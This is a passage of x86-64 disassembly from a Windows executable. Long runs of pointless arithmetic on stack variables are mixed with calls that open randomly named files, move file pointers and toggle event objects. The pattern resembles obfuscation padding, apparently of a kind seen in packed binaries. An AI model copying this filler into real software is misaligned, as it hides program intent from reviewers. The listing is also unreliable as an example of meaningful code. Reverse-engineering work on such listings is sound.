sar eax, cl
mov word [0x1400fc3e4], ax
mov rax, qword [rsp + 0x1460]
mov rcx, qword [rsp + 0xd48]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc78], rax
mov rax, qword [0x1400fd1b0]
mov rcx, qword [rsp + 0x3000]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2d78], rax
mov rax, qword [rsp + 0x2b10]
mov rax, qword [rax]
add rax, qword [rsp + 0x2f98]
mov qword [rsp + 0x18e8], rax
mov rax, qword [0x1400fd700]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x248], ax
mov eax, dword [rsp + 0x9a4]
mov dword [rsp + 0x3444], eax
mov rax, qword [rsp + 0x1200]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
sar eax, cl
mov rcx, qword [rsp + 0x2f28]
mov byte [rcx], al
mov rax, qword [rsp + 0x2410]
mov rax, qword [rax]
mov rcx, qword [0x1400fd3e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4c70], rax
mov rax, qword [rsp + 0x2ae0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1dc0]
mov qword [rsp + 0x4c78], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x1968], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.msIMDxNwg41Jk9B97s
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3c38], rax
movzx eax, byte [rsp + 0x1bd]
movzx ecx, byte [rsp + 0x16d]
xor eax, ecx
mov rcx, qword [rsp + 0x1468]
mov byte [rcx], al
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 1
xor r8d, r8d
mov edx, 0xb93e
mov rcx, qword [rsp + 0x1bd8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13b0], eax
movsx eax, word [rsp + 0x78]
movsx ecx, word [rsp + 0xb14]
or eax, ecx
mov word [0x1400fc554], ax
lea rax, [rsp + reloc.SHELL32.dll_SHChangeNotification_Lock]
mov qword [rsp + 0x3a40], rax
mov rax, qword [rsp + 0x1fd0]
movzx eax, word [rax]
movzx ecx, word [0x1400fd178]
add eax, ecx
mov word [rsp + 0x438], ax
lea rax, [rsp + 0x1a08]
mov qword [rsp + 0x3b28], rax
mov rax, qword [rsp + 0x1b00]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x280c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1128], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x55b8], rax
mov rax, qword [0x1400fd330]
movzx eax, byte [rax]
mov byte [rsp + 0x91d], al
mov r9d, 1
xor r8d, r8d
mov edx, 0x7db9
mov rcx, qword [rsp + 0x28c8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10dc], eax
mov rax, qword [rsp + 0x2d38]
mov rcx, qword [rsp + 0x3e88]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x3e50], rax
movsx eax, word [rsp + 0x4c4]
mov rcx, qword [rsp + 0x1490]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x2498]
mov word [rcx], ax
lea rax, [rsp + 0x5c]
mov qword [rsp + 0x3ea8], rax
mov rcx, qword [rsp + 0x3900]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x3f68]
mov qword [0x1400fd810], rax
movzx eax, word [rsp + 0x150]
movzx ecx, word [rsp + 0xe8c]
sub eax, ecx
mov word [rsp + 0x244], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xcb83
mov rcx, qword [rsp + 0x1c98]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3428], eax
mov rax, qword [rsp + 0x2a68]
mov qword [rsp + 0x4170], rax
mov rax, qword [0x1400fd438]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ed0]
add rax, qword [rcx]
mov rcx, qword [rsp + 0x1308]
mov qword [rcx], rax
mov rax, qword [rsp + 0x1508]
mov rcx, qword [rsp + 0x24b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xd60]
mov dword [rcx], eax
lea rax, [rsp + 0x3fd]
mov qword [rsp + 0x2c38], rax
mov rax, qword [rsp + 0x2460]
mov ecx, dword [rsp + 0x34a0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1978], eax
mov rcx, qword [rsp + 0x2f30]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0x3e8]
mov qword [rsp + 0x4140], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x4f6d
mov rcx, qword [rsp + 0x3e58]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2810], eax
mov rax, qword [rsp + 0x3898]
mov rax, qword [rax]
add rax, qword [0x1400fc3d8]
mov rcx, qword [rsp + 0x2d20]
mov qword [rcx], rax
movsx eax, word [rsp + 0x1a0]
movsx ecx, word [rsp + 0xee0]
sar eax, cl
mov word [0x1400fd2c0], ax
movsx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0x278]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [0x1400fd5c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8bc]
shl eax, cl
mov word [rsp + 0x220c], ax
mov rax, qword [rsp + 0x2670]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbfc]
or eax, ecx
mov rcx, qword [rsp + 0x1f28]
mov word [rcx], ax
lea rax, [rsp + 0x582]
mov qword [rsp + 0x3bd8], rax
mov rax, qword [rsp + 0x1818]
mov rax, qword [rax]
mov rcx, qword [0x1400fd718]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2f38], rax
mov eax, dword [rsp + 0xac4]
mov ecx, dword [rsp + 0xb8c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x3830]
mov dword [rcx], eax
movzx eax, word [rsp + 0x6cc]
mov word [rsp + 0x35f0], ax
movzx eax, word [0x1400fd698]
mov rcx, qword [rsp + 0xb30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbf4], ax
mov rax, qword [rsp + 0x2640]
mov rcx, qword [rsp + 0x3a58]
and rcx, rax
mov rax, rcx
mov qword [0x1400fd128], rax
mov rax, qword [rsp + 0x2b18]
movzx ecx, al
mov rax, qword [rsp + 0x18e8]
sar rax, cl
mov qword [rsp + 0x4c80], rax
mov rax, qword [rsp + 0xd08]
mov rax, qword [rax]
add rax, qword [rsp + 0x3010]
mov qword [rsp + 0x2f40], rax
mov rax, qword [rsp + 0x2ad0]
mov rax, qword [rax]
mov qword [rsp + 0x55c0], rax
mov rcx, qword [rsp + 0x810]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4310], eax
mov rax, qword [rsp + 0x14c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x8bc], ax
movzx eax, byte [rsp + 0x401]
movzx ecx, byte [rsp + 0x10d]
and eax, ecx
mov byte [rsp + 0x1be], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x8eb9
mov rcx, qword [rsp + 0x3e60]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x9a0], eax
mov rcx, qword [rsp + 0x1098]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1114], eax
mov eax, dword [rsp + 0x13f4]
mov dword [rsp + 0x347c], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.iCrRnJdYxFKWqpdi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3ce0], rax
mov rax, qword [0x1400fd2c8]
mov rcx, qword [rsp + 0x1548]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2170], eax
mov rax, qword [rsp + 0x31e0]
mov rax, qword [rax]
add rax, qword [rsp + 0x2c70]
mov qword [rsp + 0x3e90], rax
lea rax, [rsp + 0x405]
mov qword [0x1400fd818], rax
mov rax, qword [rsp + 0x1cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x840]
xor eax, ecx
mov rcx, qword [rsp + 0x1490]
mov word [rcx], ax
mov rcx, qword [rsp + 0x3348]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xe24], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0x15d5
mov rcx, qword [rsp + 0x2c78]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x430c], eax
movsx eax, word [rsp + 0x5c0]
movsx ecx, word [rsp + 0x23c]
shl eax, cl
mov word [rsp + 0xf1c], ax
lea rax, [0x1400fd280]
mov qword [rsp + 0x3f50], rax
mov rax, qword [rsp + 0x2b00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2b18]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3ad0], rax
mov rcx, qword [rsp + 0x2948]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x330]
mov dword [rsp + 0x26a0], eax
movsx eax, byte [rsp + 0x1bf]
movsx ecx, byte [0x1400fc381]
sar eax, cl
mov byte [rsp + 0xe4d], al
mov rax, qword [rsp + 0x1d88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3888]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3718], rax
mov rax, qword [rsp + 0x2468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x4b8]
sub eax, ecx
mov word [rsp + 0xea4], ax
movzx eax, word [0x1400fd144]
mov rcx, qword [rsp + 0x1b58]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc44c], ax
mov rax, qword [rsp + 0x1308]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x2968]
sar rax, cl
mov rcx, qword [rsp + 0x12e8]
mov qword [rcx], rax
lea rax, [rsp + 0x4d4]
mov qword [rsp + 0x3188], rax
mov rax, qword [rsp + 0x2f48]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x10e0]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x2440]
mov dword [rcx], eax
mov rax, qword [rsp + 0xd98]
movzx eax, byte [rax]
mov byte [rsp + 0x1d57], al
mov rax, qword [rsp + 0x1af0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x29d0]
add rax, qword [rcx]
mov qword [rsp + 0x10c0], rax
movsx eax, byte [0x1400fd135]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x914], al
lea rax, [rsp + 0x2814]
mov qword [rsp + 0x3bb8], rax
mov rax, qword [rsp + 0x2da8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe74]
and eax, ecx
mov rcx, qword [rsp + 0x190]
mov word [rcx], ax
mov rax, qword [rsp + 0x30a8]
movzx eax, word [rax]
mov word [0x1400fd820], ax
lea rax, [rsp + 0x1848]
mov qword [rsp + 0x2590], rax
mov rax, qword [rsp + 0xf68]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f50]
shl rax, cl
mov rcx, qword [rsp + 0x7d8]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xddf9
mov rcx, qword [rsp + 0x3e68]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x281c], eax
mov rax, qword [rsp + 0xfa0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x78]
or eax, ecx
mov word [rsp + 0x8c4], ax
movzx eax, word [rsp + 0x5b0]
mov word [rsp + 0x2020], ax
mov rax, qword [rsp + 0x2560]
mov ecx, dword [rsp + 0x7ac]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xbb8], eax
mov rax, qword [rsp + 0x28f8]
movzx ecx, al
mov rax, qword [0x1400fd4a0]
shr rax, cl
mov qword [rsp + 0x31c0], rax
movsx eax, byte [rsp + 0x2dc]
movsx ecx, byte [rsp + 0x1c8]
sub eax, ecx
mov byte [rsp + 0x2d3], al
mov rax, qword [rsp + 0x2fe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2c40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x2b58], rax
mov rax, qword [rsp + 0x1c90]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15d4]
and eax, ecx
mov word [0x1400fd478], ax
lea rax, [rsp + 0x8c8]
mov qword [rsp + 0x55c8], rax
mov rax, qword [rsp + 0x340]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x2778]
mov dword [rsp + 0x13f4], eax
lea rax, [rsp + 0x172]
mov qword [rsp + 0x38a0], rax
mov rax, qword [rsp + 0x22e0]
mov rcx, qword [rsp + 0x2a80]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x2fb8], rax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4308], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xdf33
mov rcx, qword [rsp + 0x2a50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x2678]
mov eax, dword [rax]
mov rcx, qword [0x1400fd358]
mov qword [rsp + 0x4c88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c88]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x29c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x100]
movzx eax, byte [rax]
mov byte [rsp + 0xe49], al
mov rax, qword [rsp + 0x3ef8]
mov rax, qword [rax]
add rax, qword [rsp + 0x3880]
mov qword [rsp + 0x2528], rax
mov rax, qword [rsp + 0x24a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2660]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2208], ax
lea rax, [rsp + 0x890]
mov qword [0x1400fd828], rax
mov rcx, qword [rsp + 0x2f90]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x31e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x3808]
mov qword [rcx], rax
lea rax, [rsp + 0x4dc]
mov qword [rsp + 0x3d00], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x6908
mov rcx, qword [rsp + 0x3720]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3404], eax
mov rax, qword [rsp + 0x1710]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x5a8]
xor eax, ecx
mov word [rsp + 0x3ac], ax
mov rcx, qword [rsp + 0x2fd0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1118], eax
mov rax, qword [0x1400fd398]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd48]
mov qword [rsp + 0x4c90], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c90]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x1370], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x14ef
mov rcx, qword [rsp + 0x23e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x2818], eax
mov rax, qword [rsp + 0x3120]
mov rax, qword [rax]
mov qword [rsp + 0x3f18], rax
mov rax, qword [rsp + 0x24f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1fe0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x3f0], al
mov rax, qword [rsp + 0x38c0]
mov eax, dword [rax]
mov dword [rsp + 0x21b8], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3f60], rax
movzx eax, word [rsp + 0x5cc]
mov rcx, qword [rsp + 0x16b8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5dc], ax
mov rax, qword [rsp + 0xb68]
mov rcx, qword [rsp + 0x1848]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x1400fd4c0]
mov qword [rcx], rax
mov eax, dword [0x1400fc384]
mov ecx, dword [rsp + 0x3c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2104], eax
lea rax, [rsp + 0x924]
mov qword [rsp + 0x4020], rax
movsx eax, word [rsp + 0x15ec]
movsx ecx, word [rsp + 0x1610]
add eax, ecx
mov rcx, qword [rsp + 0x788]
mov word [rcx], ax
movzx eax, word [rsp + 0x450]
movzx ecx, word [rsp + 0x178]
sub eax, ecx
mov word [rsp + 0x2204], ax
mov rax, qword [rsp + 0x28d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1900]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1ad8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4060]
movsx eax, byte [rax]
mov rcx, qword [0x1400fd4c8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x2d1], al
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov dword [rsp + 0x33d8], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x991f
mov rcx, qword [rsp + 0x1cb8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10d8], eax
mov rax, qword [rsp + 0xff8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1178]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x3840]
mov word [rcx], ax
mov rax, qword [rsp + 0xf80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1f90]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc558], ax
lea rax, [rsp + 0x2258]
mov qword [rsp + 0x3cb0], rax
mov rax, qword [rsp + 0x2950]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2f50]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x3258], rax
lea rax, [rsp + 0x3e70]
mov qword [rsp + 0x4f18], rax
movsx eax, word [rsp + 0x364]
movsx ecx, word [rsp + 0x21c]
xor eax, ecx
mov word [rsp + 0xc44], ax
mov eax, dword [rsp + 0x26a0]
movzx ecx, al
mov eax, dword [rsp + 0xba0]
shl eax, cl
mov rcx, qword [rsp + 0xd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x2af0]
mov rcx, qword [0x1400fd718]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x3368], rax
mov rax, qword [rsp + 0x2dc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x19a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x154], al
movzx eax, byte [rsp + 0x137]
mov byte [rsp + 0x1d56], al
mov rax, qword [rsp + 0x39c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xacc]
sar eax, cl
mov dword [rsp + 0xe38], eax
mov rax, qword [rsp + 0x3300]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x3728]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1400fd430]
mov word [rcx], ax
mov rax, qword [rsp + 0xdb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbf0]
and eax, ecx
mov word [rsp + 0x424], ax
lea rax, [rsp + 0x888]
mov qword [rsp + 0x5028], rax
mov rax, qword [rsp + 0x24e8]
mov rcx, qword [rsp + 0x1540]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb20]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x2f58]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xf40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x403]
add eax, ecx
mov byte [rsp + 0xe4c], al
mov rax, qword [rsp + 0x17c8]
mov rcx, qword [rsp + 0x2098]
mov qword [rsp + 0x4c98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4c98]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc68], rax
mov rax, qword [rsp + 0x3950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xbd0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x998], eax
lea rax, [0x1400fd2c0]
mov qword [rsp + 0x2d90], rax
mov rax, qword [rsp + 0x14b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaac]
or eax, ecx
mov rcx, qword [rsp + 0x1ae8]
mov word [rcx], ax
mov rax, qword [rsp + 0x12a8]
mov qword [0x1400fd830], rax
movzx eax, word [rsp + 0x428]
mov word [rsp + 0x21f8], ax
mov rax, qword [rsp + 0x2e38]
mov rcx, qword [0x1400fd2b0]
mov qword [rsp + 0x4ca0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ca0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x37d0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.PvZBEqYrK5P1iW
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3b78], rax
mov rcx, qword [rsp + 0x29f8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x620]
mov rcx, qword [rsp + 0x2f98]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x3cc0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x28d8]
mov eax, dword [rax]
mov dword [rsp + 0x33f4], eax
movsx eax, byte [rsp + 0x3f4]
mov rcx, qword [rsp + 0x40b8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x2db0]
mov byte [rcx], al
mov eax, dword [rsp + 0x1a74]
mov ecx, dword [rsp + 0x10f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1a64], eax
mov rax, qword [rsp + 0x520]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2cf]
cdq
idiv ecx
mov rcx, qword [rsp + 0x38a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x12e0]
mov rax, qword [rax]
mov qword [rsp + 0x55d0], rax
mov rax, qword [rsp + 0x2090]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa58]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1400fc508], ax
mov rax, qword [rsp + 0x278]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x2de8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe90], ax
mov rax, qword [rsp + 0x1768]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x34c]
add eax, ecx
mov word [rsp + 0x42c], ax
movzx eax, word [rsp + 0xee4]
movzx ecx, word [0x1400fd200]
and eax, ecx
mov word [rsp + 0xef8], ax
mov rax, qword [rsp + 0x18f8]
mov ecx, dword [rsp + 0x8e0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x568], eax
lea rax, [rsp + 0xe4b]
mov qword [rsp + 0x40f0], rax
mov rax, qword [rsp + 0x30c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3128]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3730], rax
mov rax, qword [rsp + 0x14e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe78]
sub eax, ecx
mov word [rsp + 0x25c], ax
lea rax, [rsp + 0x15a8]
mov qword [rsp + 0x4df8], rax
mov rax, qword [rsp + 0x1f70]
mov rcx, qword [rsp + 0x37a8]
mov qword [rsp + 0x4ca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4ca8]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1400fc560], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x93a5
mov rcx, qword [rsp + 0x28e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3498], eax
mov rax, qword [rsp + 0x3780]
movzx ecx, al
mov rax, qword [rsp + 0x1d28]
shl rax, cl
mov qword [rsp + 0x2570], rax
mov rax, qword [rsp + 0x17f8]
mov qword [rsp + 0x50a8], rax
mov rax, qword [rsp + 0x2570]
mov rcx, qword [rsp + 0x3038]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1ba8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x23e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c4]
xor eax, ecx
mov word [rsp + 0x898], ax
mov rcx, qword [rsp + 0x2e00]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2118], eax
lea rax, [rsp + 0x584]
mov qword [rsp + 0x3cd8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd959
mov rcx, qword [rsp + 0x1b10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x112c], eax
mov rax, qword [rsp + 0x1058]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x1c28]
add eax, dword [rcx]
mov dword [rsp + 0x210c], eax
mov rcx, qword [rsp + 0x37b8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x408]
mov byte [rsp + 0xe42], al
mov rax, qword [rsp + 0x1500]
mov rax, qword [rax]
add rax, qword [0x1400fd4a0]
mov qword [rsp + 0x2b40], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xedd0
mov rcx, qword [rsp + 0x3738]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x26d0], eax
mov rax, qword [rsp + 0x1080]
mov ecx, dword [rsp + 0xbd0]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1400fd318], eax
mov rax, qword [rsp + 0x1178]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x6bc]
and eax, ecx
mov word [rsp + 0x140], ax
movsx eax, word [rsp + 0x23c]
movsx ecx, word [rsp + 0x894]
sar eax, cl
mov word [rsp + 0x158c], ax
movzx eax, word [rsp + 0x12c]
mov rcx, qword [rsp + 0x11e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x718], ax
mov rax, qword [rsp + 0x2448]
mov qword [rsp + 0x3a60], rax
mov rcx, qword [rsp + 0x3ec0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x3638], eax
mov rax, qword [rsp + 0x1b70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x3f2]
add eax, ecx
mov rcx, qword [rsp + 0x17f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x18f8]
mov rcx, qword [rsp + 0x1d80]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2154], eax
mov rax, qword [0x1400fd380]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xd18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x2ad8], rax
movsx eax, word [rsp + 0x4cc]
movsx ecx, word [rsp + 0x1d4]
sub eax, ecx
mov rcx, qword [rsp + 0x1458]
mov word [rcx], ax
lea rax, [rsp + 0x714]
mov qword [0x1400fd838], rax
mov rax, qword [rsp + 0xb70]
mov qword [rsp + 0x41a0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfff8
mov rcx, qword [rsp + 0x28e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x281c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3f20], rax
movzx eax, word [rsp + 0xae4]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xec8], ax
movzx eax, byte [rsp + 0x580]
mov byte [rsp + 0xded], al
mov rax, qword [rsp + 0x2f60]
mov rcx, qword [rsp + 0x39a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x1a84], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x4ae2
mov rcx, qword [rsp + 0x3860]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x3494], eax
movsx eax, byte [rsp + 0xe4]
mov rcx, qword [rsp + 0x1ff0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe6], al
mov eax, dword [rsp + 0x900]
mov rcx, qword [rsp + 0x2c20]
mov qword [rsp + 0x4cb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4cb0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2198], eax
mov rax, qword [rsp + 0x3ab8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x30f0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1260], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x3338], rax
mov rax, qword [rsp + 0x2488]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1538]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1400fd468]
mov word [rcx], ax
